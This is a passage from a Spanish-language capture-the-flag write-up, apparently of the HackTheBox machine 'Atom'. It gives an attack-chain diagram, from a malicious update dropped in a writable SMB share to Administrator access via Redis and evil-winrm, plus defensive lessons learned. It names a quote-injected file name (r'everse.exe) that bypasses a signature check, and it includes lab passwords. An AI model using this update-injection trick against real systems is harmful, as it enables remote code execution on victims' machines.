        │  whatweb: Email[MrR3boot@atom.htb] ─▶ web Heed (Electron) ─▶ /releases ─▶ heed_setup.zip
        ▼
  análisis .exe (7z ─▶ app-64.7z ─▶ .asar ─▶ main.js) ─▶ electron-updater + updates.atom.htb
        │  SMB guest: Software_Updates (WRITE) + PDF UAT (QA instala lo que se deje ahí)
        ▼
  latest.yml + r'everse.exe (bypass Get-AuthenticodeSignature) ─▶ shell jason ─▶ user.txt
        │  PortableKanban.cfg (DataSource: RedisServer) ─▶ DES clave fija ─▶ kidvscat_yes_kidvscat
        ▼
  Redis auth ─▶ clave pk:urn:user ─▶ EncryptedPassword del Administrator ─▶ kidvscat_admin_@123
        ▼
  evil-winrm Administrator ─▶ root.txt

Lecciones aprendidas

  • Analizar binarios revela arquitectura y secretos. Un instalador Electron es un contenedor: 7z y asar exponen el código (main.js), la config (app-update.yml) y el mecanismo de actualización, que resultó ser el vector. Y ejecutarlo primero en un laboratorio fue lo que señaló dónde mirar, gracias al Error in auto-updater de la esquina.
  • Un share de escritura en el canal de actualización es crítico. Permitir a guest subir el latest.yml/binario que QA ejecutará convierte la actualización en RCE. Restringir permisos SMB y firmar y verificar de verdad las actualizaciones.
  • Fail-open en validación de firmas. electron-updater construía el comando de PowerShell concatenando el nombre del fichero sin escapar y, ante el error de sintaxis provocado por un ', registraba un aviso y aceptaba el binario. Validar de forma fail-closed: ante cualquier error de verificación, abortar.
  • Cifrado reversible con clave fija no es cifrado. PortableKanban "cifra" con DES y una clave e IV embebidos en el programa: cualquiera con el binario recupera la contraseña. Y la misma clave reaparece en Redis y como contraseña del Administrator: reutilización en cadena.
  • Un fichero de configuración señala el siguiente servicio. El PortableKanban.cfg no solo guardaba la contraseña, decía en la línea de al lado que la base de datos era RedisServer en el 6379. El puerto llevaba abierto desde el primer escaneo, pero fue esa línea la que explicó para qué servía la credencial.
Cheatsheet de comandos 15 comandos

Repaso rápido